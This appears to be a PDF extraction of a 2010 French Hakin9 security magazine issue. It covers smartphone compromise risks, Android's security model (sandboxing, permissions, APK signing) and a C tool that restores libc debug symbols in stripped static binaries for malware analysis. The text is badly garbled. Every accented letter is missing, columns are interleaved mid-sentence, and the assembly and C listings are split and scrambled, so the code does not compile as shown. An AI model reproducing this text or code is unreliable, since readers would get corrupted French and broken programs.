Par compromission dun smartphone, nous entendons bien videmment le vol de donnes associ ce dernier grce la lecture des SMS/MMS, la lecture des mails, rcupration de liste de contact etc. mais cela nest pas tout, nous entendons galement les risques pour le systme dinformation sur lequel le smartphone va se connecter suite une attaque. En effet, lors de la synchronisation dun smartphone sur le poste client, une connexion avec le rseau local (le rseau dentreprise) est partage avec le priphrique permettant douvrir un nombre important de vecteur de propagation. Comme le montre la Figure 1, aprs linsertion dun smartphone compromis dans un rseau dentreprise, il est alors possible de vhiculer des attaques contre le rseau interne, les postes clients ainsi que dautre smartphones disponible. Comme nous avons pu le dire prcdemment, des smartphones ayant les systmes dexploitation Windows mobile ou encore Symbian dispose dinterprteur de langages de script tel que Python ou encore Ruby. Grce ces interprteurs de langages de script, il est possible dutiliser des exploits existant ou bien de crer ses propres exploits. Des Framework connu tels que Metasploit regorge dexploits contre les diffrents smartphones pour ceux ntant pas habile avec le code.
14 HAKIN9 1/2010

Comment scuriser son smartphone

De nos jours, la scurisation des smartphones reste une partie que bien des personnes ne mettent pas en place du fait que la socit na pas lair de rellement voir les problmes de scurit pouvant tre lis un smartphone compromis. Il existe des antis virus ainsi que des pare feu mais ces derniers ne sont vraiment que peu volu et ne dtectent que trs peu de programmes malicieux. Afin de palier la fuite dinformation dans le cas de perte ou de vol du smartphone, il est possible de mettre en place des solutions de chiffrement. Certaines solutions de chiffrement permettant uniquement de chiffrer les donnes sur le priphriques alors que dautre vont permettre de chiffrer de manire transparente les donnes transitant comme lagenda, les mails, les calendriers. De part la nature du matriel prsent dans les smartphones, il est trs difficile de raliser des outils rellement efficace dans la dtection de code ou de programme malicieux. Afin de rellement pouvoir scuriser son smartphone, il est simplement ncessaire de faire preuve dun peu de logique et de bon sens. Afin dviter une fuite dinformation,

Conclusion

Vous laurez compris, malgr la dmocratisation des smartphones autant dans le monde professionnel que dans la vie de tous les jours, la scurit de ces derniers restent encore trivial et beaucoup moins avanc que les attaques lgard de ces mmes priphriques. Les seules vraies consignes de scurit sont donc la veille des utilisateurs envers les programmes provenant dun expditeur ntant pas sur ainsi que la dsactivation des protocoles de communication nayant pas ncessit dexister (SSH, Bluetooth ). propos de l'auteur

Rgis SENET, actuellement stagiaire pour la socit JA-PSI est tudiant en cinquime anne lcole Suprieur dinformatique Supinfo. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security. Contact : regis.senet@supinfo.com Site internet : http://www.regis-senet.fr

DOSSIER
BABACI NABIL

Mcanisme

de Scurit sous Android


Faire du dveloppement Open-Source devient de plus en plus tendance, surtout si nous pouvons profiter la fois de services qui ont fait leurs preuves dans ce domaine comme le fait si bien Google. Nouveau sur le march des OS embarqus pour les smartphones, Android propose toute une panoplie de services centrs utilisateur mais offre aussi une plateforme de dveloppement alliant puissance et simplicit, offrant les mcanismes de scurit les plus rcents et des plus faciles simple mettre en oeuvre.
ans cet article nous traiterons de la scurit d'ordre gnrale sur le systme d'exploitation Open Source Android. Dans un premier temps nous explorerons les arcanes du framework, en consultant les principales briques supportes par le systme. Suivi dans un second temps de la machine virtuelle exotique, Dalvik, qui implmente une utilisation en parfaite symbiose avec le matriel. Puis nous verrons du ct dveloppement les solutions de scurisation offerte par le framework.

Degr de difficult

Framework

CET ARTICLE EXPLIQUE...


L'architecture globale d'Android. Les diffrents mode de scurit. La machine virtuelle Dalvik.

CE QU'IL FAUT SAVOIR...


Programmation java en gnrale. Gnration de certificat de scurit. Architecture systme Linux. 16 HAKIN9 1/2010

Petit rappel, Android, nom de la start-up rachet par Google, cr un OS open-source dont le but est de le distribuer librement et dont son code source est ouvert , sous l'gide de l'Open Handset Alliance, groupe d'une trentaine de partenaires tels que Vodafone, T-Mobile, Samsung et Google. Autant dire un nouveau concurrent pour les OS mobile existant comme le Iphone ou plus rcemment OpenMoko avec son Neo1973. Entrons dans les dtails. Concrtement Android propose un bon nombre d'applications pr-installs, et permet aux dveloppeurs d'utiliser les diffrentes Api disponibles dont les applications sont principalement dveloppes en Java avec une machine virtuelle modifie que nous verrons plus loin dans cette article. Notons toutefois que chaque application est un package fourni en un fichier jar d'extension .apk.

Concernant l'architecture nous pouvons constat plusieurs choses importantes. Android est bas sur un noyau Linux, sa version actuelle est la 2.6.24 mais signalons que l'os n'est pas un Linux en tout point car il se sert uniquement de cette base noyau pour en tirer un maximum d'avantages notamment au niveau de l'interoprabilit avec le matriel, l'ensemble des mcanismes d'ordonnancement, les drivers d'entre-sortie, les fonctions IPC , la scurit, la gestion de l'nergie,sans oublier sa stabilit. Les librairies implmentes sont plthore nous y retrouvons, la libc (nomme Bionic) qui est une drivation de la norme BSD au niveau du standard de la libc, modifie pour les systmes embarqus. La librairie Media pour l'ensemble des formats audio et vido sur PacketVido, Surface Manager qui gre l'affichage des diffrentes couches 2D et 3D. Une librairie WebKit en interaction avec le navigateur. La Sgl qui est un moteur 2D complt par des librairies 3D notamment avec l'implmentation d'OpenGL ES Une librairie FreeType pour de l'affichage vectoriel et SQLite en tant que base de donnes lgre. Mais Android n'inclut pas l'ensemble des standards Linux notamment la norme POSIX. Notons toutefois qu'une couche d'abstraction matrielle est mise en place entre le noyau et les couches suprieures dans le but d'offrir une comptabilit optimum des diffrents support.

ANDROID
Dalvik la machine virtuelle
Table 1. Listes des packages dans Android Packages Supports java.awt.font java.beans java.io java.lang java.math java.net java.nio java.security java.sql java.text java.util javax.crypto javax.microedition.khronos javax.net javax.security javax.sql javax.xml.parsers org.w3c.dom org.xml.sax Packages Non Supports java.applet java.awt java.lang.management java.rmi javax.accessibility javax.activity javax.imageio javax.management javax.naming javax.print javax.rmi javax.security.auth.kerberos javax.security.auth.spi javax.security.sasl javax.sound javax.swing javax.transaction javax.xml org.ietf.* org.omg.* org.w3c.dom.* Ajoutons aussi les Intents qui sont des objets permettant de vhiculer les messages entre composants principaux notamment les Services, s'excutant en tches de fond, les Activities fournissant des fonctionnalits d'interaction utilisateur et le BroadcastReceiver qui permet l'coute des objets intents sur chaque application. En ce qui concerne le dernier composant ContentProvider (manager de donnes applicatifs), celui-ci ne communique pas avec les Intents. Table 2. Liste des permissions Permissions BLUETOOTH INTERNET CALL_PHONE CHANGE_CONFIGURATION DELETE_PACKAGES READ_SMS Dfinitions Rend disponible l'appairage Permet d'ouvrir des communication sur le rseau Permet d'appeler sans passer par le l'interface d'appel Permet la modification des options de configuration locale. Suppressions de paquets Permet la lecture des SMS
1/2010 HAKIN9 17

Toujours dans l'exploration de notre framework, attardons nous sur la machine virtuelle dveloppe pour Android. Elle a t cre dans le but d'offrir un maximum d'avantages dans les systmes ncessitant peu de mmoire vive, un faible espace pour le swapping et pour de faibles processeurs, le tout aliment par une batterie autonome. Dalvik est une machine virtuelle Java sans utiliser l'ensemble des composant lis aux plateforme embarqus, autrement dit une personnalisation de la JVM. Dalvik excute du code java et le transforme en .dex optimis pour le mapping de mmoire et l'excution sur systme embarqu ainsi que pour sa faible taille de fichier. La plupart des programmes sont crits en Java, et utilise Java 5 SE comme API de dveloppement. Cependant l'ensemble de l'API n'est pas utilis. Voici la liste des packages supports et non supports: A cela s'ajoute des librairies tiers dvelopps tels : org.apache.http, org.json, org.xml.sax, org.xmlpull.v1,

Signature
Android met disposition un mcanisme de signature digitale pour les applications. Ainsi cela protge de la mise jour frauduleuse ne venant pas dudit auteur. La cration d'un CA de type X.509 est faisable via l'outil Keytool faisant parti de la JRE. Son utilisation est assez simple, crer un dossier qui abritera le certificat et rendez-vous dans le rpertoire bin de JRE et lance l'outil keytool.

et l'ensemble des packages commenant par android et dalvik.

Lors du dveloppement d'une application, les programmes sont isols les uns des autres par de multiple couches de scurit. Une des briques les plus importante est l'Activity Manager, car elle consiste en la gestion du contrle du cycle de vie de l'application. Concrtement l'utilisation du mcanisme de sandboxing permet le cloisonnement des applications et offre une scurit plus adquate ainsi il existe peu de risque de contourner celle-ci. Une des particularits d'Android est que chaque application s'excute dans des processus distinct. Chacun d' eux possde un identifiant unique ( user-id, emprunt au noyau).

Scurit par le cloisonnement

DOSSIER
Terminologie
Sandbox: mcanisme qui permet l'excution de logiciel avec moins de risques au systme d'exploitation. Ces derniers sont souvent utiliss pour excuter du code non test ou de provenance douteuse. IPC: Inter-Process Communication, regroupent un ensemble de mcanismes permettant des processus concurrents (ou distants) de communiquer.

Figure 1. Architecture : Les diffrentes couches du systme Les paramtres de keytool sont diverses :
keytool -v -genkey -alias -validity 16000 -keystore <nomdelacl>.keystore

<pathdekey>.keystore -keyalg RSA

L'outil vous demandera diffrentes informations, tels qu'un password, noms d'organisation... Une fois cela fait, il faut signer l'application, avec un autre outil le Jarsigner tool. Lancez l'outil depuis sont rpertoire bin, les paramtres eux aussi sont diverses :
jarsigner -verbose -keystore

s'excute dans un processus diffrent et avec un unique User-id. Partant de l, la communication entre application se fait par une stratgie de permission via un fichier .xml le AndroidManifest.xml. Par dfaut les applications ne peuvent accder certaines ressources ou composants, tels les priphriques bluetooth, la liste des contact ou encore le dispositif de camra.

Voici une liste non exhaustive des permissions prdfinies par Android: Pour configurer le fichier soit nous ditons directement le fichier xml ou soit en mode graphique toujours dans notre IDE. Dans le listing 1 nous avons un exemple d'utilisation dans lequel l'application possde les permissions pour l'accs la rception et l'mission de SMS, ou encore la possibilit d'appairage pour le tlphone, la cration d'une connexion au rseau. Grce toutes ses permissions prdfinies, Android nous simplifie notre gestion des permissions. Et si cela ne

Listing 1. Exemple d'dition de permissions


<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.app.myandroid" > <uses-permission <uses-permission <uses-permission <uses-permission </manifest> android:name="android.permission.SEND_SMS" /> android:name="android.permission.RECEIVE_SMS" /> android:name="android.permission.BLUETOOTH" /> android:name="android.permission.INTERNET" />

<pathdekey>.keystore -storepass <password> -keypass <password> <pathapk>.apk <aliasname>

Une fois cela fait l'application est prte tre dploye soit sur votre mulateur soit sur votre matriel via la commande adb. Pour plus de simplicit il vous est possible de recourir un Keytool UI en mode graphique dont voici l'adresse : http://yellowcat1.free.fr/ index_ktl.html

Listing 2. Personnalisation
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.me.app.myandroid" > <permission android:name="com.me.app.myandroid.permission.MYACTIVITY" android:label="@string/myActivity" android:description="@string/accessto_myActivity" android:protectionLevel="normal" /> </manifest>

AndroidManifest

Android prvient des problmes lis aux accs des donnes entre processus en faisant de sorte que chaque application
18 HAKIN9 1/2010

ANDROID
suffit pas Android nous permet de crer des permissions personnalises. En voici un exemple dans le listing 2. Pour mieux entreprendre la cration d'une permission, il vous faudra rajouter un tag permission dans lequel il est ncessaire de renseigner ses attributs. Android:name correspond au nom de la permission, ici le nom du package en question. Android:label permet une courte description de notre permission Android:description est une description plus exhaustive Android:permissionGroup renseigne quelle groupe appartient notre permission Android.protectionLevel dfinit le risque potentiel entre normal, dangerous,signature et signatureOrSystem le systme ragira en fonction du niveau indiqu et procdera un renforcement d'accs inhrent. quelques failles de scurit dans ses premires versions. Avoir un systmes fiable sera toujours un enjeu important et demandera beaucoup de temps le scuriser. Un autre problme pourrait venir des dveloppeurs amateurs soit en distribuant les applications via le market soit directement dans leur tlphones. Google n'a pas prvu de mesures pour valider les applications comme le fait Apple ce qui laissent une porte d'entrs aux possible malwares. Une des principales cibles des pirates est le Web. En effet le web est un des points cls des attaques via des sites vrols, mme si Android peut avoir recours au logiciels Savant protection, il n'en reste pas moins que cela reste vulnrable Concernant le noyau, il est vrai qu'un noyau Linux offre pas mal de scurit, mais une des dernires news relaye t la possibilit d'un exploit concernant le root.

Sur Internet
http://developer.android.com/intl/fr/ index.html Pour en apprendre plus sur le SDK Android http://www.dalvikvm.com/ Ressource sur la DVM.

en avant les dveloppements libres, le support de plusieurs plateforme via sa HAL et son noyau Linux. Les mcanismes de cloisonnement apportes beaucoup plus de scurit cependant, le fait d'avoir un systme ouvert permet videmment d'avoir des risques potentiel de failles, notamment prouvs par l'envoi de SMS malicieux comme sur l'Iphone. Nanmoins, le systme Android offre dans sa majorit peu d'accroches pour les pirates. Et le sandboxing est l pour justement limits au maximum les drives possible. Auteur

Problmatique de Scurit
Une des principales problmatiques vhicules a t que le SDK rvlait

Conclusion

Android est un systme prcurseur dans son domaine dans la mesure, o il met PUBLICIT

Passionn de scurisation informatique, BABACI Nabil, suit actuellement un cursus d'ingnierie logiciel au sein de l'Exia. Il est membre fondateur de l'association Linux en Champagne, promouvant l'image de Linux et UNIX sur Reims. Vous pouvez le contacter cette adresse : nabil.babaci@yahoo.fr

1/2010 HAKIN9

19

JUSTIN SUNWOO KIM

FOCUS Restaurer

les symboles de dbogage partir de binaires compils statiquement


La restauration des symboles de dbogage est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans le prsent article peut tre rutilise dans d'autres champs d'tude.

Degr de difficult

e nombreux malwares sont compils au format strip pour contrer les tentatives d'analyses. Toutefois, une mthode existe pour mieux dboguer et analyser ces malwares ainsi que les fichiers binaires. La mthode que j'utilise s'apparente aux mthodes de recherche par signature, telles que FLIRT. Dans cet article, je vous montrerai comment trouver des fonctions libc ayant le format binaire ELF.

Premire question et non des moindres, que sont les symboles de dbogage ?

plusieurs fonctions facilitant la programmation en C sous Linux. Citons-en quelques unes : strcpy, memcpy, printf... Je suis pose que plusieurs d'entre vous connaissent dj ces fonctions. Pourquoi s'intresser la librairie libc ? Dans le cadre de cet article, je vais vous expliquer comment trouver des fonctions libc dans des fichiers binaires statiques (au format strip). La mthode expose est galement valable pour les autres librairies.

Compilation statique

Les symboles de dbogage reprsentent des ensembles dinformations compiles au format binaire facilitant le processus de dbogage. Ces fichiers regroupent des noms de variables, noms de fonctions, offset... Vous pouvez accder aux symboles avec les commandes objdump, gdb, et nm. La Figure 1 illustre un cas d'utilisation de gdb avec un fichier binaire incluant des symboles de dbogage. La fonction main appel une autre fonction, le nom de la fonction appele est affich en face de son adresse. Grce aux symboles, nous pouvons facilement obtenir plus d'informations sur ces fonctions. La commande 'objdump' est similaire gdb. La commande 'nm' est celle qui nous intresse le plus. Cette dernire permet de lister l'ensemble des symboles appartenant au fichier binaire ainsi que leur emplacement en mmoire, offset, taille, index...

Qu'est-ce qu'une compilation statique ? La plupart des compilateurs utilisent par dfaut un diteur de liens dynamiques pour lier un fichier binaire et une fonction provenant d'une autre librairie, ceci permet vite que le code des fonctions soit en un seul et mme endroit (principe de granularit/ modularit). Prenons un exemple, vous souhaitez afficher le message hello world en utilisant la fonction printf. Un fichier binaire compil dynamiquement dispose d'un lien spcifique pour glibc qui rfrence la fonction printf. Toutefois, si ce fichier binaire est compil de manire statique, alors il se rfre sa propre version de printf qui se trouve dans le fichier, la dpendance est donc plus forte. Reportez-vous la Figure 2 et 3 pour mieux comprendre les diffrences entre la compilation statique et les liens dynamiques.

Librairie libc

Loutil nm

La librairie libc est la librairie standard spcifique au langage C dvelopp par GNU. Elle inclut
20 HAKIN9 1/2010

Loutil 'nm' est l'une de mes applications prfres, il permet de trouver facilement des symboles ainsi que les informations associes. Pour mieux

DBOGAGE
aborder la suite de cet article, vous devez comprendre certains mcanismes en jeu. En effet, nous allons parser (analyser et excuter) puis rcuprer des informations relatives aux offsets et la taille des symboles que nm aura trouvs. Reporte-vous la Figure 4 pour avoir un exemple d'utilisation de l'outil nm. Vous pouvez voir l'adresse de l'emplacement du symbole dans la premire colonne. Dans la seconde colonne figure les types de symboles. La troisime et dernire colonne affiche le nom des symboles. Comme vous pouvez le constater, il existe une multitude de types de symboles. Dans notre exemple, T signifie qu'il s'agit d'une zone texte. W signifie qu'il s'agit d'un symbole faible et R d'un symbole en lecture seule. Le manuel nm regroupe de plus amples informations sur les diffrentes reprsentations.

Figure 1.

Stripper un fichier binaire

La technique du 'Stripping' permet de supprimer tous les symboles de dbogage prsents dans un fichier binaire. Pour cela on utilise la commande 'strip', qui se trouve dans /usr/bin/strip. Aprs avoir stripp un fichier binaire, vous vous apercevrez que certaines informations ne sont plus affiches. La Figure 5 est un dump de code assembleur sans informations de dbogage. Mme si printf est prsent dans le dump, il s'agit uniquement d'une rfrence de l'emplacement de la fonction. Remarque : @plt+0x99 se trouve aprs printf, cela signifie qu'elle est situe 0x99 octets de l'adresse de printf. La Figure 6 illustre ce qu'est un fichier binaire stripp.

diffrente n'a pas la mme version, il ne serait donc pas intressant ni envisageable d'avoir un pattern unique par systme. Le mieux est encore de disposer d'un gnrateur automatique de patterns afin de gnrer des patterns

ayant leur propre libraire installe sur le systme. Un autre problme se pose, le code des fonctions libc des binaires compils statiquement est diffrent. En effet, chaque binaire compil de manire statique dispose d'un ensemble

Figure 2.

Figure 3.

Que peut-on considrer comme pattern de fonction ? Question simple, rponse simple : toutes les fonctions disposant de leur propre code assembleur. Le fait de croiser le code assembleur dans les fichiers binaires nous permettrait d'obtenir le rsultat souhait. Par exemple, la Figure 7 illustre les opcodes de la fonction printf dans un fichier statique. Certes, nous pouvons passer en revue toutes les fonctions une par une. Cependant, chaque librairie est de nature

Patterns de fonctions

Figure 4.
1/2010 HAKIN9 21

FOCUS
de fonctions et d'offsets spcifiques. Idalement il conviendrait de comparer le code de la fonction avec le fichier binaire, mais il faudrait gnrer un pattern de fonction pour les 20 ou 30 premiers octets.

L'implmentation d'un outil de restauration des symboles de dbogage se rsume en deux tapes : un gnrateur automatique de patterns de fonctions et un programme de vrification des patterns de fonctions. L'implmentation d'un gnrateur automatique de patterns de fonction se fait en quelques tapes. Les fonctions appartenant au fichier libc.so.6 sont analyses. La commande 'nm' permet de liste toutes les fonctions de la librairie libc. Lorsque l'existence de la fonction est teste, le programme tentera de compiler son code source. Une fois le code compil, le gnrateur recherchera l'emplacement (offset) de la fonction en utilisant la commande nm nouveau dans le fichier binaire. En soustrayant 0x08041000 l'offset de l'emplacement de la zone texte d'un binaire ELF, on dtermine l'emplacement de la fonction. Le nombre exact d'octets cette adresse est copi et sauvegard dans la liste du fichier pattern. Lorsque le gnrateur a effectu cette tche, la correspondance des patterns dbute. L'implmentation du programme de correspondance des patterns permettra de comparer le pattern avec le fichier binaire, et convertira l'offset de la fonction l'adresse courante du fichier binaire en ajoutant 0x08041000, pour dcouvrir l'emplacement de la fonction dans le binaire cible. Par exemple, pour trouver la fonction strcpy partir d'un fichier binaire, il faut d'abord gnrer la signature de la fonction strcpy. Il suffit pour cela d'utiliser objdump (Voir Listing 1). La signature ressemble ceci :
\x55\x31\xd2\x89\xe5\x56\x8b\x75\ x08\x53\x8b\x5d\x0c\x8d\x4e\xff\ x0f\xb6\x04\x13\x88\x33\x11\x01\ x83\xc2\x01\x84\xc0\x75\xf1\x89\ xf0\x5b\x5e\x5d\xc3

Outil de restauration des symboles de dbogage

Figure 5.

Figure 6. Listing 1.
080681b0 <strcpy>: 80681b0: 55 80681b1: 31 d2 80681b3: 80681b5: 80681b6: 80681b9: 80681ba: 80681bd: 80681c0: 80681c4: 80681c8: 80681cb: 80681cd: 80681cf: 80681d1: 80681d2: 80681d3: 80681d4: 89 56 8b 53 8b 8d 0f 88 83 84 75 89 5b 5e 5d c3 e5 75 08 5d 4e b6 44 c2 c0 f1 f0 0c ff 04 13 11 01 01 push xor mov push mov push mov lea movzbl mov add test jne mov pop pop pop ret %ebp %edx,%edx %esp,%ebp %esi 0x8(%ebp),%esi %ebx 0xc(%ebp),%ebx -0x1(%esi),%ecx (%ebx,%edx,1),%eax %al,0x1(%ecx,%edx,1) $0x1,%edx %al,%al 80681c0 <strcpy+0x10> %esi,%eax %ebx %esi %ebp

22 HAKIN9 1/2010

DBOGAGE
Listing 2a. pgfh.c
#define _GNU_SOURCE #include <stdio.h> #include <link.h> #include <string.h> #include <sys/stat.h> #include "func.h" #define #define #define #define #define #define #define #define #define #define PATTERN_BUF_SIZ 1024 NM_PATH "/usr/bin/nm" GCC_PATH "/usr/bin/gcc" OBJ_PATH "/usr/bin/objdump" ADDRESS_BASE 0x8048000 CFILENAME ".pg.c" EFILENAME ".pg" HFILENAME "pattern.h" MAX_ARG 6 PATTERN_SIZ 25

#define TEMPL_INCLUDE "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/types.h>\ n#include <sys/socket.h>\n" #define TEMPL_HEADER "int main(){" #define TEMPL_FOOTER "}" #define HEADER_HEADER "#ifndef __HARA_PATTERN_H__\n#define __HARA_PATTERN_H__\n\n/* librairie libc - liste des patterns de fonctions */\n/* cr l'aide d'un gnrateur de pattern pour Hara */\n\nchar *pattern[]={\n" #define HEADER_FOOTER "#endif" //variables globales void *libcAddr; char *libcPath; int checkPattern(char *buf1, char *buf2, size_t n); static int find_libcaddr(struct dl_phdr_info *info, size_t size, void *data){ char buf[9]; //s'il s'agit d'un module libc, alors stocker les infos if(strstr(info->dlpi_name, "libc")){ //stocker les adresses sprintf(buf, "%08x", info->dlpi_addr); sscanf(buf, "%x", &libcAddr); //sauvegarde du chemin d'accs libcPath=malloc(strlen(info->dlpi_name)+1); strcpy(libcPath, info->dlpi_name); } return 0;

int main(int argc, char **argv){ int i,j,k; int r; int nFunc=0; int nTotal=0; int pos; //file pos char buf[PATTERN_BUF_SIZ]; char buf2[PATTERN_BUF_SIZ]; char patternbuf[PATTERN_BUF_SIZ]; char filebuf[PATTERN_BUF_SIZ]; char *funcAddr; char ch;

1/2010 HAKIN9

23

FOCUS
Listing 2b. pgfh.c
int funcSize; int readSize; int funcOffset; int compiled; int found; FILE *fp; FILE *sp; FILE *hp; struct stat statbuf; /* En-ttes */ printf("============== Gnrateur de pattern pour HARA v1.0 ==============\n"); printf("[=] gnrateur automatique de pattern pour hara\n"); printf("[=] z0nKT1g3r @ WiseguyS\n"); printf("[=] http://0xbeefc0de.org\n"); /* Initialisation des variables pour la mise en correspondance avec les patterns */ if(dl_iterate_phdr(find_libcaddr, NULL)<0){ printf("[-] Impossible de trouver libc.\n"); exit(-1); } printf("[=] ------------------------------------------------------\n"); /* Infos sur les variables */ printf("[+] chemin d'accs librairie libc : %s\n", libcPath); printf("[+] adresse librairie libc : %p\n", libcAddr); nFunc=sizeof(funcList)/4; printf("[+] Nombre de fonctions vrifier : %d\n", nFunc); printf("[=] ------------------------------------------------------\n"); //crire en-tte pattern.h hp=fopen(HFILENAME, "w+"); fprintf(hp, HEADER_HEADER); //boucler sur la liste des fonctions for(i=0;i<nFunc;i++){ /* obtention des offsets de NM, adresses tailles des fonctions sous libc */ sprintf(buf, "%s -D -S %s | /bin/grep %s", NM_PATH, libcPath, funcList[i]); sp=popen(buf, "r"); funcAddr=0; for(j=0;!feof(sp);j++){ buf2[j]=fgetc(sp); if(buf2[j]=='\x0a'){ sscanf(buf2,"%x %x %c %s", &funcOffset, &funcSize, &ch, &buf); //vrification du nom de la fonction if(checkPattern(buf, funcList[i], strlen(funcList[i])+1)==0){ funcAddr=libcAddr+funcOffset; if(funcSize>PATTERN_BUF_SIZ) funcSize=PATTERN_BUF_SIZ-100; break; } //if not, reset j=0; else{ j=0; } }

24 HAKIN9 1/2010

DBOGAGE

Listing 2c. pgfh.c


}//fin de la boucle for: feof pclose(sp); //si aucun rsultat sous NM, alors poursuivre et aller la fonction suivante if(funcAddr==0) continue; //recommencer sprintf(buf, "/bin/rm -rf %s", EFILENAME); system(buf); sprintf(buf, "/bin/rm -rf %s", CFILENAME); system(buf); for(j=0;j<MAX_ARG;j++){ compiled=0; //crire le code C dans un fichier fp=fopen(CFILENAME, "w+"); //construire fichier strcpy(filebuf, TEMPL_INCLUDE); strcat(filebuf, TEMPL_HEADER); strcat(filebuf, "\n"); strcat(filebuf, funcList[i]); strcat(filebuf, "("); for(k=0;k<j-1;k++){ if(j==1) else }

strcat(filebuf, "0"); strcat(filebuf, "0,");

strcat(filebuf, "0);\n"); strcat(filebuf, TEMPL_FOOTER); strcat(filebuf, "\n"); //crire fichier fwrite(filebuf, 1, strlen(filebuf), fp); fclose(fp); //compilation statique //gcc -o EFILENAME CFILENAME -static sprintf(buf, "%s -o %s %s -static 2>/dev/null", GCC_PATH, EFILENAME, CFILENAME); system(buf); //si prsence dun binaire alors s'arrter; if(stat(EFILENAME, &statbuf)>=0){ compiled=1; break; } }//for j<MAX_ARG //si aucune compilation, alors poursuivre et aller la fonction suivante if(compiled==0){ //nettoyer sprintf(buf, "/bin/rm -rf %s", CFILENAME); system(buf); continue;

1/2010 HAKIN9

25

FOCUS
Listing 2d. pgfh.c
} //trouver adresse de dmarrage : objdump sprintf(buf, "%s -S %s | grep %s", NM_PATH, EFILENAME, funcList[i]); sp=popen(buf, "r"); found=0; for(j=0;!feof(sp);j++){ buf2[j]=fgetc(sp); if(buf2[j]=='\xff') continue; if(buf2[j]=='\x0a'){ buf2[j]=0; memset(buf,0,PATTERN_BUF_SIZ); r=sscanf(buf2,"%x %x %c %s", &funcAddr, &funcSize, &ch, &buf); if(buf[0]!=0 && r==4 && ch!='W'){ //vrification du nom de la fonction if(sprintf(buf2,"__%s",funcList[i]) && checkPattern(buf, buf2, funcOffset=funcAddr-ADDRESS_BASE; found=1; break; } else if(sprintf(buf2,"__libc_%s",funcList[i]) && checkPattern(buf, buf2, funcOffset=funcAddr-ADDRESS_BASE; found=1; break; } else if(sprintf(buf2,"_IO_%s",funcList[i]) && checkPattern(buf, buf2, funcOffset=funcAddr-ADDRESS_BASE; found=1; break; } else if(sprintf(buf2,"_IO_file_%s",funcList[i]) && checkPattern(buf, buf2, funcOffset=funcAddr-ADDRESS_BASE; found=1; break; } else if(sprintf(buf2, "%s", funcList[i]) && checkPattern(buf, buf2, funcOffset=funcAddr-ADDRESS_BASE; found=1; break;

strlen(buf2)+1)==0){

strlen(buf2)+1)==0){

strlen(buf2)+1)==0){

strlen(buf2)+1)==0){

strlen(buf2)+1)==0){

} }//fin de la boucle conditionnelle if: 0x0a //printf("feof?:%d\n",feof(sp)); }//fin de la boucle for: feof pclose(sp);

} memset(buf2, 0, PATTERN_BUF_SIZ); j=-1;

//si aucun rsultat, alors poursuivre et aller la fonction suivante if(found!=1) continue; printf("[+] %s as %s\n", funcList[i], buf2); //copier et sauvegarder (ou afficher/print)

26 HAKIN9 1/2010

DBOGAGE

Listing 2e. pgfh.c

//ouvrir EFILENAME et obtenir la copie fp=fopen(EFILENAME, "r+"); fseek(fp, funcOffset,SEEK_SET); readSize=funcSize; readSize=PATTERN_SIZ; if(readSize>PATTERN_BUF_SIZ) readSize=PATTERN_BUF_SIZ-100; if(fread(buf, 1, readSize, fp)==readSize){ fprintf(hp,"\"%s\",", buf2); fprintf(hp,"\""); for(j=0;j<readSize;j++){ //afficher au format \x fprintf(hp,"\\x%02x", (unsigned char)buf[j]); }

} fclose(fp); //nettoyer sprintf(buf, "/bin/rm -rf %s", EFILENAME); system(buf); sprintf(buf, "/bin/rm -rf %s", CFILENAME); system(buf); memset(buf, 0, PATTERN_BUF_SIZ); memset(buf2, 0, PATTERN_BUF_SIZ); nTotal++; }//fin de la boucle for: funcList fprintf(hp, "\"t1g3r\",\"http://0xbeefc0de.org\", \"10\"};\n\n"); fprintf(hp, HEADER_FOOTER); fprintf(hp, "\n");

fprintf(hp,"\","); fprintf(hp, "\"%d\",\n", readSize);

free(libcPath);

fclose(hp); //recommencer sprintf(buf, "/bin/rm -rf %s", EFILENAME); system(buf); sprintf(buf, "/bin/rm -rf %s", CFILENAME); system(buf);

printf("[=] ------------------------------------------------------\n"); printf("[+] Nombre total %d de patterns gnrs dans %s\n", ++nTotal, HFILENAME);

//compare deux octets et renvoie 0=true, -1=false int checkPattern(char *buf1, char *buf2, size_t n){ int i; for(i=0;i<n;i++){ if(buf1[i]!=buf2[i]){ return -1; } } return 0; }

1/2010 HAKIN9

27

FOCUS
Listing 3. func.h
#ifndef __HARA_FUNC_H__ #define __HARA_FUNC_H__ /* liste des fonctions de la librairie libc */ char *funcList[]={ //str* "strcpy", "strlen", "strcat", "strcmp", "strncmp", "strstr", "strchr", "strrchr", //io "read", "scanf", "sscanf", "fscanf", "vscanf", "vsscanf", "vfscanf", "getc", "gets", "open", "puts", "write", "printf", "sprintf", "snprintf", "vprintf", "vfprintf", "vsprintf", "vsnprintf", "close", //fichiers "fopen", "fwrite", "fread", "fgetc", "fclose", "fflush", "feof", "fputs", //mem* "memcpy", "memset", "memcmp", "mmap", "mprotect", //*alloc }; //sockets "accept", "connect", "bind", "send", "recv", "listen", "htonl", "htons", "inet_aton", "inet_ntoa", "sendto", "recvfrom", "dup", "dup2", //threads, fork "fork", "pthread_create", //autres "bzero", "sleep", "time", "getuid", "setuid", "getgid", "setgid", "geteuid", "seteuid", "atoi", "rand", "srand", "execl", "execle", "execlp", "execv", "execve", "execvp", "isupper", "isspace", "islower", "isalpha", "toUpper",

#endif

"malloc", "calloc", "realloc", "free",

28 HAKIN9 1/2010

DBOGAGE
SecureIP Solutions
La scurit de linformation est une chose importante pour les entreprises et mme pour les particuliers. Cest pourquoi SecureIP Solutions vous propose diffrents produits et services pour protger vos prcieuses donnes tels quun service de sauvegarde en ligne, les diffrents produits BitDefender et bien plus encore. http://www.secureip.ca

NUMERANCE

NUMERANCE, Spcialise dans la scurit informatique, intervient auprs des Petites et Moyennes Entreprises, en proposant des prestations daudit, daccompagnement, et de formation. http://www.numerance.fr

Herv Schauer Consultants

Pour plus de renseignement : hakin9@hakin9.org

Herv Schauer Consultants : 17 ans d'expertise en Scurit des Systmes d'Information Nos formations techniques en scurit et ISO27001 sont proposes Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf Informations : formations@hsc.fr - +33 (0)141 409 704

TippingPoint

